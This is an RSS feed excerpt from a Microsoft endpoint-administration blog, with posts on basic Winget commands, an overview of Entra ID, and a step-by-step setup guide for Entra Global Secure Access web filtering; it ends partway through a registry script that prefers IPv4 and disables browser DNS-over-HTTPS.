            <link>https://michaelsendpoint.com/powershell/winget.html</link>
            <guid>https://michaelsendpoint.com/powershell/winget.html</guid>
            <pubDate>Wed, 31 Jul 2024 20:03:37 GMT</pubDate>
            <description><![CDATA[Windows Package Manager powershell scripts]]></description>
            <content:encoded><![CDATA[<h1 id="windows-package-manager-winget" tabindex="-1">Windows Package Manager (Winget) <a class="header-anchor" href="#windows-package-manager-winget" aria-label="Permalink to &quot;Windows Package Manager (Winget)&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="what-is-winget" tabindex="-1">What is Winget? <a class="header-anchor" href="#what-is-winget" aria-label="Permalink to &quot;What is Winget?&quot;">&ZeroWidthSpace;</a></h2>
<p>Winget is a <strong>Windows native</strong> open source package manager created by Microsoft.
It is very similar in principle to <a href="https://chocolatey.org/" target="_blank" rel="noreferrer">chocolatey</a> and other package managers.
The difference is that it was created by Mircrosoft and is therefore natively integrated into Windows operating systems.
It lacks certain quality of life and management features that other solutions have, but it is still at the beginning of its journey.
With the backing of Microsoft and already an integral part of the Intune App delivery, it is only a matter of time before it catches up with its peers.</p>
<h2 id="basic-information" tabindex="-1">Basic Information <a class="header-anchor" href="#basic-information" aria-label="Permalink to &quot;Basic Information&quot;">&ZeroWidthSpace;</a></h2>
<p>Winget standard has two sources.</p>
<ol>
<li>Winget public repository (winget)</li>
<li>Windows Store (msstore)</li>
</ol>
<p>In Addition you can install Windows features with winget and host your own private repository on Azure.
This can be done for a few Euros per month (if using SQL tier <strong>demo</strong>).</p>
<p>Apps in the Winget public repository are need to pass the same security measures that the Windows Store Apps need to pass.</p>
<h2 id="app-information" tabindex="-1">App information <a class="header-anchor" href="#app-information" aria-label="Permalink to &quot;App information&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li>Winget apps are structured like <code>myApp.myApp</code> (for example <em><strong>Notepad++.Notepad++</strong></em>)</li>
<li>Winget can install windows store apps like (for example <strong>9MSMLRH6LZF3</strong> = Windows Notepad)</li>
</ul>
<h2 id="basic-commands" tabindex="-1">Basic commands <a class="header-anchor" href="#basic-commands" aria-label="Permalink to &quot;Basic commands&quot;">&ZeroWidthSpace;</a></h2>
<p>Show winget commands</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">?</span></span></code></pre>
</div><hr>
<p>Search for a programm in all sources</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget search [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">App</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><hr>
<p>List installed programs</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget list [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">App</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><hr>
<p>Install program</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget install [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">App</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><hr>
<p>Uninstall program</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget uninstall [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">App</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><hr>
<p>Update program</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget update [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">App</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><hr>
<p>Download Microsoft Store App Installer</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Download Installer</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget download [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">App</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s msstore</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Install Installer</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Add-AppxPackage</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path C:\Users\[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Username</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]\downloads\[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">AppIdentifier</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]\[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">App</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> Name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">].appx</span></span></code></pre>
</div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Microsoft Entra ID]]></title>
            <link>https://michaelsendpoint.com/entra/entra.html</link>
            <guid>https://michaelsendpoint.com/entra/entra.html</guid>
            <pubDate>Sun, 28 Jul 2024 16:26:29 GMT</pubDate>
            <description><![CDATA[Microsoft EntraID description]]></description>
            <content:encoded><![CDATA[<h1 id="microsoft-entraid" tabindex="-1">Microsoft EntraID <a class="header-anchor" href="#microsoft-entraid" aria-label="Permalink to &quot;Microsoft EntraID&quot;">&ZeroWidthSpace;</a></h1>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>formally known as 'Azure Active Directory'</p>
</div>
<h2 id="what-is-it" tabindex="-1">What is it? <a class="header-anchor" href="#what-is-it" aria-label="Permalink to &quot;What is it?&quot;">&ZeroWidthSpace;</a></h2>
<p>A cloud-based Identity and Access Management (IAM) service that offers comprehensive user, application, and device management.</p>
<h2 id="key-features" tabindex="-1">Key Features <a class="header-anchor" href="#key-features" aria-label="Permalink to &quot;Key Features&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li><strong>Identity Management</strong>
<ul>
<li>Stores user and group information including credentials.</li>
<li>Can integrate with on-premises Active Directory for hybrid environments.</li>
<li>Supports user lifecycle management including self-service password reset.</li>
</ul>
</li>
<li><strong>Access Management</strong>
<ul>
<li>Role-Based Access Control (RBAC) allows granular control over application and resource access based on user roles.</li>
<li>Conditional Access policies enforce additional security measures like MFA based on factors like device type, location, or application risk.</li>
</ul>
</li>
<li><strong>Multi-factor Authentication (MFA)</strong> Integrates with various MFA providers for strong authentication beyond just passwords.</li>
<li><strong>Single Sign-On (SSO)</strong> Enables users to seamlessly access authorized applications with a single login.</li>
<li><strong>Application Management</strong>
<ul>
<li>Supports integration with various Microsoft and third-party SaaS applications.</li>
<li>Provides tools for provisioning, de-provisioning, and managing application access for users.</li>
</ul>
</li>
<li><strong>Security</strong>
<ul>
<li>Built on Azure's security infrastructure with features like intrusion detection and threat protection.</li>
<li>Supports security standards like SOC 2 and GDPR compliance.</li>
</ul>
</li>
<li><strong>Automation and extensibility</strong>
<ul>
<li>Supports automation through PowerShell and Graph API for managing identities and access.</li>
<li>Integrates with Security Information and Event Management (SIEM) tools for centralized logging and monitoring.</li>
</ul>
</li>
</ul>
<h2 id="benefits-for-it-professionals" tabindex="-1">Benefits for IT Professionals <a class="header-anchor" href="#benefits-for-it-professionals" aria-label="Permalink to &quot;Benefits for IT Professionals&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li><strong>Centralized Management</strong> Simplifies user, application, and device administration from a single platform.</li>
<li><strong>Enhanced Security</strong> Enforces strong authentication and access controls to mitigate security risks.</li>
<li><strong>Improved Productivity</strong> Streamlines user access with SSO and reduces password fatigue.</li>
<li><strong>Scalability</strong> Cloud-based nature allows for easy scaling to accommodate growing user bases and application needs.</li>
<li><strong>Compliance</strong> Supports compliance with various industry regulations and data privacy standards.</li>
</ul>
<h2 id="considerations" tabindex="-1">Considerations <a class="header-anchor" href="#considerations" aria-label="Permalink to &quot;Considerations&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li><strong>Cost</strong> Entra ID offers various tiers with different feature sets, impacting cost.</li>
<li><strong>Integration Complexity</strong> Integrating with complex on-premises environments or legacy applications might require additional effort.</li>
</ul>
<hr>
<p>Overall, Microsoft Entra ID is a robust IAM solution offering a secure and centralized approach to managing user identities and application access in the cloud.  However, it's important to weigh the feature set, cost, and potential integration challenges against your specific needs.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Global Secure Access | Entra ID]]></title>
            <link>https://michaelsendpoint.com/entra/secure_access.html</link>
            <guid>https://michaelsendpoint.com/entra/secure_access.html</guid>
            <pubDate>Sun, 28 Jul 2024 16:26:29 GMT</pubDate>
            <description><![CDATA[Microsoft EntraID Global Secure Access]]></description>
            <content:encoded><![CDATA[<h1 id="global-secure-access" tabindex="-1">Global Secure Access <a class="header-anchor" href="#global-secure-access" aria-label="Permalink to &quot;Global Secure Access&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft EntraID Global Secure Access is a unified approach to securing access to both public cloud applications (like Microsoft 365) and private company resources. It aims to simplify access management while using zero-trust principles to keep your data and devices safe.</p>
<ul>
<li>
<p>Microsoft Entra Internet Access (Microsoft 365 acess): This secures connections to public cloud services like Microsoft 365 and the internet, protecting users and data from online threats.</p>
</li>
<li>
<p>Microsoft Entra Private Access: This offers a secure way to reach your company's internal resources, replacing traditional VPNs. It doesn't require complex setups and grants access based on user permissions, enhancing security.</p>
</li>
</ul>
<p>Overall, Global Secure Access aims to streamline access management for admins and provide a safe, zero-trust approach for users to reach all their work resources, regardless of location or device.</p>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Be aware that this is a preview feature and not all features are available yet.</p>
</div>
<h2 id="implementation" tabindex="-1">Implementation <a class="header-anchor" href="#implementation" aria-label="Permalink to &quot;Implementation&quot;">&ZeroWidthSpace;</a></h2>
<ol>
<li>Open <a href="https://entra.microsoft.com" target="_blank" rel="noreferrer">https://entra.microsoft.com</a></li>
<li>Navigate to 'Global Secure Access'</li>
<li>Under 'Connect' you now find 'Traffic forwarding'</li>
</ol>
<div class="container" style="margin-left: 1em">
  <img src="\azure_entra\entra_secure_access_menu.png" alt="">
  <img src="\azure_entra\entra_traffic_forwarding.png" alt="">
</div>
<ol start="4">
<li>Here you find the three traffic forwarding profiles, that when activated will send the traffic from your devices via the Microsoft Edge (Azure) to its destination.</li>
<li>For every profile you have the possibility to determine the users &amp; groups that the profile should apply to and the network in which the policy should be used.
That means, your devices don`t need to send traffic trough the microsoft edge if you are already in your company network for example.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Every traffic forwarding profile uses the same client.</p>
</div>
<img src="\azure_entra\entra_traffic_profiles.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="6">
<li>To facilitate that you need to install a client on every computer.</li>
<li>The client download is located under 'Connect' -&gt; 'Client download'</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The client doensn`t need any more settings, only a log in.</p>
</div>
<img src="\azure_entra\entra_client_download.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<h2 id="microsoft-365-traffic" tabindex="-1">Microsoft 365 traffic <a class="header-anchor" href="#microsoft-365-traffic" aria-label="Permalink to &quot;Microsoft 365 traffic&quot;">&ZeroWidthSpace;</a></h2>
<p>Activating this profile will send all Microsoft 365 traffic with predetermined policies securely between the device and the Microsoft 365 Service.</p>
<img src="\azure_entra\entra_m365_profile.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<h2 id="internet-access" tabindex="-1">Internet Access <a class="header-anchor" href="#internet-access" aria-label="Permalink to &quot;Internet Access&quot;">&ZeroWidthSpace;</a></h2>
<p>Activating this profile will filter the Web traffic over Ports 80 and 443, sending trough the Mirosoft service.</p>
<img src="\azure_entra\entra_internet_profile.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<h3 id="the-traffic-flows-like-this" tabindex="-1">The traffic flows like this: <a class="header-anchor" href="#the-traffic-flows-like-this" aria-label="Permalink to &quot;The traffic flows like this:&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li>
<p><strong>Start:</strong> User/Device initiates web traffic request.</p>
</li>
<li>
<p><strong>Step 1: Identity &amp; Device Verification</strong></p>
<ul>
<li>Traffic flows to the Microsoft Entra Internet Access service.</li>
<li>Entra Internet Access checks the user or device against the Entra ID directory.</li>
<li>This verifies the user's identity and retrieves any relevant access policies.</li>
</ul>
</li>
<li>
<p><strong>Step 2: Conditional Access Policy Evaluation</strong></p>
<ul>
<li>Based on the user/device information from Step 1, Entra Internet Access evaluates pre-configured Conditional Access policies.</li>
</ul>
</li>
<li>
<p><strong>Step 3: Web Content Filtering</strong></p>
<ul>
<li>The requested web address is checked against a web filtering list.</li>
<li>This list can block malicious or inappropriate websites by category or specific domain.</li>
</ul>
</li>
<li>
<p><strong>Step 4: Secure Connection</strong></p>
<ul>
<li>Entra Internet Access establishes a secure connection to the requested website.</li>
<li>This helps protect user traffic from eavesdropping or manipulation.</li>
</ul>
</li>
<li>
<p><strong>Step 5: Deliver Web Content</strong></p>
<ul>
<li>The requested web content is delivered to the user's device.</li>
<li>Securely and with any necessary access controls enforced.</li>
</ul>
</li>
</ul>
<h3 id="configuration" tabindex="-1">Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;Configuration&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>In the Entra ID dashboard open 'Global Secure Access -&gt; Secure -&gt; Web content filtering policies'.</li>
</ol>
<img src="\azure_entra\entra_web_content_menu.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<ol start="2">
<li>Here you can create new web content filtering policies to block or allow websites.</li>
</ol>
<img src="\azure_entra\entra_web_content_policy.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="3">
<li>In the next screen you can now add filter rules for you policy.</li>
<li>Click 'Add Rule' and choose from pre-build Microsoft webcategories or add a specific FQDN.</li>
</ol>
<img src="\azure_entra\entra_web_content_rule.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<ol start="5">
<li>Next you save that rule and that policy and open in the left menu 'Security profiles'.</li>
<li>On this screen you find two tabs. 'Security profiles' and 'Baseline profiles'.<br>
'Baseline profiles' is the standard configuration Microsoft pre-configured and comes from the angle that every site is allowed and you block the categories and individual sites you don`t want accessed.
This of course can be reversed, by changing the baseline to block and making 'allow' rules for the things you specifically want to access.</li>
</ol>
<img src="\azure_entra\entra_security_profile_baseline.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="650" loading="lazy"/>
<ol start="7">
<li>Under the tab 'Security profiles' you can create the profiles that you can then link to the overarching 'Internet Access' profile.</li>
</ol>
<img src="\azure_entra\entra_security_profile.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="8">
<li>Click 'Create profile' enter your Name, discription, priority and click 'Next'.</li>
</ol>
<img src="\azure_entra\entra_security_link.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="9">
<li>Now you can link the web content filtering policy we created before or directly create a new one.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The priorities you are assigning to the profiles and linked policies are important. The lower the priority number, the higher the priority of the rule.
In Addition you can`t give a profile or a linked policy the priority 65000. That priority is reserved for the Microsoft baseline.</p>
</div>
<details class="details custom-block"><summary>Details</summary>
<p><strong>Policy 1 &nbsp; &nbsp;/&nbsp; &nbsp; Priority 100</strong> <br>
Rule 1:&nbsp; &nbsp; Priority 100 &nbsp; &nbsp;/&nbsp; &nbsp; allow LinkendIn <br>
Rule 2:&nbsp; &nbsp; Priority 200 &nbsp; &nbsp;/&nbsp; &nbsp; block social media</p>
<p><strong>Policy 2 &nbsp; &nbsp;/&nbsp; &nbsp; Priority 200</strong> <br>
Rule 1:&nbsp; &nbsp; Priority 100 &nbsp; &nbsp;/&nbsp; &nbsp; allow Facebook <br>
Rule 2:&nbsp; &nbsp; Priority 200 &nbsp; &nbsp;/ &nbsp; &nbsp; block all Internet sites</p>
<p>&nbsp;</p>
This means that all internet sites will be blocked except Linkedin, because the policy / rule with the lower priority number will be evaluated last and wins because of that.
<p>&nbsp;</p>
1 . Rule 2 Policy 2 blocks all Internet sites.<br>
2. Then Rule 1 Policy 2 allows Facebook.<br>
3. Next Rule 2 Policy 1 blocks Facebook.<br>
4. And at last Rule 1 Policy 1 allows LinkedIn.
</details>
<ol start="4">
<li>Now review and create the policy</li>
</ol>
<img src="\azure_entra\entra_security_profile_list.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="5">
<li>The Last thing now is to link a conditional access policy to the Internet acces profile under 'Global Secure Access -&gt; Connect -&gt; Traffic forwarding'.</li>
<li>For that you need a conditional access policy where you have selected the internet traffic as target (see image below) and select your before created 'security profile' as the grant control.</li>
</ol>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Here the conditional access always needs to be 'grant' at the moment.</p>
</div>
<img src="\azure_entra\entra_conditional_access_internet_traffic.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<img src="\azure_entra\entra_conditional_access_grant_internet_traffic.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="7">
<li>Now you can enjoy your newly limited internet experience. 😄</li>
</ol>
<h2 id="troubleshooting" tabindex="-1">Troubleshooting <a class="header-anchor" href="#troubleshooting" aria-label="Permalink to &quot;Troubleshooting&quot;">&ZeroWidthSpace;</a></h2>
<p>When you are having Problems with your 'Global Secure Access' setup there are verious ways of troubleshooting this.</p>
<ul>
<li>Firstly you can check in the Entra ID Portal under 'Global Secure Access -&gt; Monitor -&gt; Traffic logs'.</li>
</ul>
<img src="\azure_entra\entra_secure_access_traffic_menu.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<ul>
<li>Here you can see all the traffic that is going through your 'Global Secure Access' setup and determining if the right stuff gets blocked or not.</li>
</ul>
<img src="\azure_entra\entra_secure_access_traffic_log.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ul>
<li>If your clients don`t act like they should and the traffic does not get listed in the portal, you can do advanced checks in the client itself.</li>
</ul>
<img src="\azure_entra\entra_icon.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<ul>
<li>For this you need to right click on the agent in the system tray and select 'Advanced diagnostics'. This needs elevated privileges.</li>
</ul>
<img src="\azure_entra\entra_icon_diagnostics.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<ul>
<li>Now you can check if the agent passed all the health checks or check the traffic directly on the client.</li>
</ul>
<img src="\azure_entra\entra_health_check.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ul>
<li>If, like in the screenshot above, the client didnt pass the 'IPV4 preferred' check, (that can happen if your system / ISP works with IPV6) you can run the following powershell script to remedy this.</li>
</ul>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">function</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> CreateIfNotExists</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    param</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($Path)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-NOT</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Test-Path</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $Path))</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">        New-Item</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $Path </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Out-Null</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$disableBuiltInDNS </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0x00</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Prefer IPv4 over IPv6 with 0x20, disable  IPv6 with 0xff, revert to default with 0x00. </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># This change takes effect after reboot. </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$setIpv6Value </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0x20</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-ItemProperty</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"DisabledComponents"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Type DWord </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value $setIpv6Value</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># This section disables browser based secure DNS lookup.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># For the Microsoft Edge browser.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">CreateIfNotExists </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Microsoft"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">CreateIfNotExists </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Microsoft\Edge"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-ItemProperty</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Microsoft\Edge"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"DnsOverHttpsMode"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"off"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-ItemProperty</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Microsoft\Edge"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"BuiltInDnsClientEnabled"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Type DWord </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value $disableBuiltInDNS</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># For the Google Chrome browser.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">CreateIfNotExists </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Google"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">CreateIfNotExists </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Google\Chrome"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-ItemProperty</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Google\Chrome"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"DnsOverHttpsMode"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"off"</span></span>
<span class="line"></span>
